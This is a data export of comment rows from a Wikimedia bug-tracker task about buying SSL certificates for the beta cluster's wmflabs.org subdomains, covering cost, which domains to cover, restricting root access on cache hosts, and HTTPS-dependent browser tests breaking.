+I think the dewiki community also wanted to have de.wikipedia.beta.wmflabs.org, but unless we get a discount for buying them at one time, it would probably be good to wait until we have browser tests running against that wiki.",,,1393026432,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+227472,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Greg Grossmeier from comment #80)
+
+> 
+> For the avoidance of doubt: we're not doing them all, just a subset. SSL
+> certs are a racket and expensive.
+
+Oh, missed that above. Makes sense :)",,,1393024173,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+227467,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, we can't do all; we can't even reasonably all the necessary wildcards to cover the whole matrix.
+
+I have six now; any more?",,,1393024132,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0
+227461,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Kunal Mehta (Legoktm) from comment #78)
+> http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full
+> list.
+
+For the avoidance of doubt: we're not doing them all, just a subset. SSL certs are a racket and expensive.",,,1393023963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+227455,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,http://commons.wikimedia.beta.wmflabs.org/ is important,,,1393023530,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+227447,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix is the full list.
+
+There are some weird ones like 'ee-prototype'.",,,1393023457,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+227440,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"login.wikipedia.beta.wmflabs.org
+meta.wikipedia.beta.wmflabs.org
+en.wikipedia.beta.wmflabs.org
+bits.beta.wmflabs.org
+upload.beta.wmflabs.org (for some icons on meta/login)
+
+That's all I can see from the network calls.
+
+Antoine/Chris/Chris: confirm?",,,1393023342,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+227434,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Because of the necessity to have a default CA sign this, we need to buy individual certificates.  Please provide a definite list of domain names, and I'll get that ball rolling.",,,1393019538,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+227427,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we do want it, on a limited set of subdomains to keep the cost down.
+
+Beta's:
+- loginwiki (so we can check SUL interactions)
+- metawiki (so OAuth works correctly and securely)
+- another wiki, maybe enwiki? (to catch other SUL login/wgSecureLogin issues)
+- Oh, and to make enwiki work, the bits domain would also need a cert",,,1390496204,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+227419,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We have stopped running browser tests over https. 
+
+I think we still want SSL for labs, but I don't know of anyone actively working on that right now.",,,1390487679,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,29,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227413,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #72)
+> Still highest priority.  We want to get that done while I am in SF, hopefully
+> this afternoon (PST time).
+
+Sorry, was referring to another bug :-/
+
+
+Regarding SSL certificates on beta, I am not sure what the status is.  Maybe Greg/Chris would know.  We might have a workaround now or simply stopped running browser tests over HTTPS.",,,1390442784,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+227406,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Still highest priority.  We want to get that done while I am in SF, hopefully this afternoon (PST time).",,,1390420537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+227397,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
+Any updates (or should this not be highest priority)?",,,1390406116,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,29,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,0
+227388,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Would it be an option to flatten our subdomains?
+
+We'd only need beta.wmflabs.org and *.beta.wmflabs.org to be in the certificate
+
+(at e.g. DigiCert, those wildcards are $1425 for 3 years includes root and *)
+
+For example:
+
+* beta.wmflabs.org
+* bits.beta.wmflabs.org
+* wikimedia.beta.wmflabs.org
+* commons-wikimedia.beta.wmflabs.org
+* wikipedia.beta.wmflabs.org
+* en-wikipedia.beta.wmflabs.org
+* nl-wikibooks.beta.wmflabs.org
+* en-m-wikibooks.beta.wmflabs.org
+* en-m-wikinews.beta.wmflabs.org",,,1387423868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+227379,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Reason in comment 16 is past (testing of new default HTTPS access), but warning message in Selenium probably still justifies highest prio? (for four months now)
+
+(In reply to comment #68)
+> The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116
+
+To summarize the RT ticket: Prices offered by SSL vendors felt out of scope.
+
+Greg and RobLa: RT ticket states you wanted to discuss how to proceed here.
+Any updates?",,,1387200913,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,24,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1
+227373,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Buying certs is pending approval according to RobH a few days ago.  The related ticket is https://rt.wikimedia.org/Ticket/Display.html?id=6116,,,1384430488,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,19,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+227370,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+I have cleaned up permissions on the deployment-prep labs project (ie: beta cluster).
+
+The project admins are now limited to people from the Wikimedia ops and mw-core teams.
+
+Root access has been limited to people having signed a non disclosure agreement with Wikimedia.
+
+
+The reason for this change is to let us put real SSL certificates on the Varnish caches which would let us support HTTPS on the beta cluster.  We want to keep access to the certificates restricted, hence the change.
+
+
+Please review the list of admins and sudo policy for the deployment-prep project on:
+
+https://wikitech.wikimedia.org/wiki/Special:NovaProject
+https://wikitech.wikimedia.org/wiki/Special:NovaSudoer",,,1383836540,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+227365,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"> 1. Remove projectadmin permissions from volunteers
+
+I also just removed TheDJ since he didn't have an NDA on file and he didn't respond to my email asking if he wanted to sign one.
+
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+Apparently the sudo policies are set up at https://wikitech.wikimedia.org/wiki/Special:NovaSudoer. It looks like most of them have sudo enabled for ""ALL"" hosts. I imagine disabling their root privileges on varnish systems just entails unchecking some of these hosts. Unfortunately, I'm not sure which of these hosts are varnish systems. Is it all 4 of the deployment-cache hosts? Any others?
+
+> 3. Buy * certs
+
+Good to hear that's in progress.",,,1383677201,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,18,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+227360,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
+> Summary of IRC conversation:
+> 
+> 1. Remove projectadmin permissions from volunteers
+
+{{DONE}}, see list of members at: https://wikitech.wikimedia.org/wiki/Nova_Resource:Deployment-prep
+
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+Not sure what needs to happen here. Tips/Pointers? I think Antoine had some ideas?
+
+> 3. Buy * certs
+
+In progress: https://rt.wikimedia.org/Ticket/Display.html?id=6116",,,1383162153,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+227355,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So I took the bug thinking the cert was blocking everything, however that is not the case.
+
+I will handle the purchase of the certificate, but I am not claiming any ownership over any other part of this process =]
+
+We get purchase approvals within our closed ticketing system, RT#6116.  (I've set Hashar as requestor for that ticket.)  Once its purchased I'll post in here as well.",,,1383072339,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227351,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,unassigning from Ryan to reflect reality.,,,1383070552,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+227345,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #46)
+> 2. Clean up sudo policies to disallow root on varnish systems (that will have
+> real certs)
+
+I assume this means that non-admins should not have sudo on these machines?",,,1383070383,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+227338,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #58)
+> Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need
+> to be taken, and they can be taken by anyone that has projectadmin in
+> deployment-prep. Someone needs to take ownership of this situation and run
+> with it.
+
+I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI.",,,1383070340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+227330,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Secure login is disabled,,,1383070174,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+227322,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all.",,,1383069987,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0
+227316,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.
+
+Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so.",,,1383069913,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+227311,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.,,,1383069706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+227304,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.,,,1383069532,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+227299,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #54)
+> Although I have no idea why the HTTP version doesn't load.
+
+It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?",,,1383017052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,17,,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+227294,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.
+
+And no we can't not use https:
+http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
+Although I have no idea why the HTTP version doesn't load.",,,1383006331,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+227291,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+Should be Real Soon Now: https://bugzilla.wikimedia.org/show_bug.cgi?id=55804",,,1381967050,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+227288,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #51)
+> I guess the first part of my comment is redundant with what you already know.
+> Mostly, I wanted to convey that our automation testing is broken, in case
+> that
+> affects prioritizing.
+
+Is it possible for now to not use https? That's what other projects have done for now to workaround the issue.",,,1381966770,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1
+227283,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing.",,,1381966629,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+227279,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #49)
+> Currently getting a cert warning when trying to go to:
+> https://deployment.wikimedia.beta.wmflabs.org/
+> This is breaking our automation tests for mobile.
+
+Heh. Did you read the ticket any before posting this? :)",,,1381966170,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+227277,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Currently getting a cert warning when trying to go to:
+https://deployment.wikimedia.beta.wmflabs.org/
+This is breaking our automation tests for mobile.",,,1381965216,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+227274,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It's going to be an all-inclusive * cert for beta.,,,1381438407,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,14,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
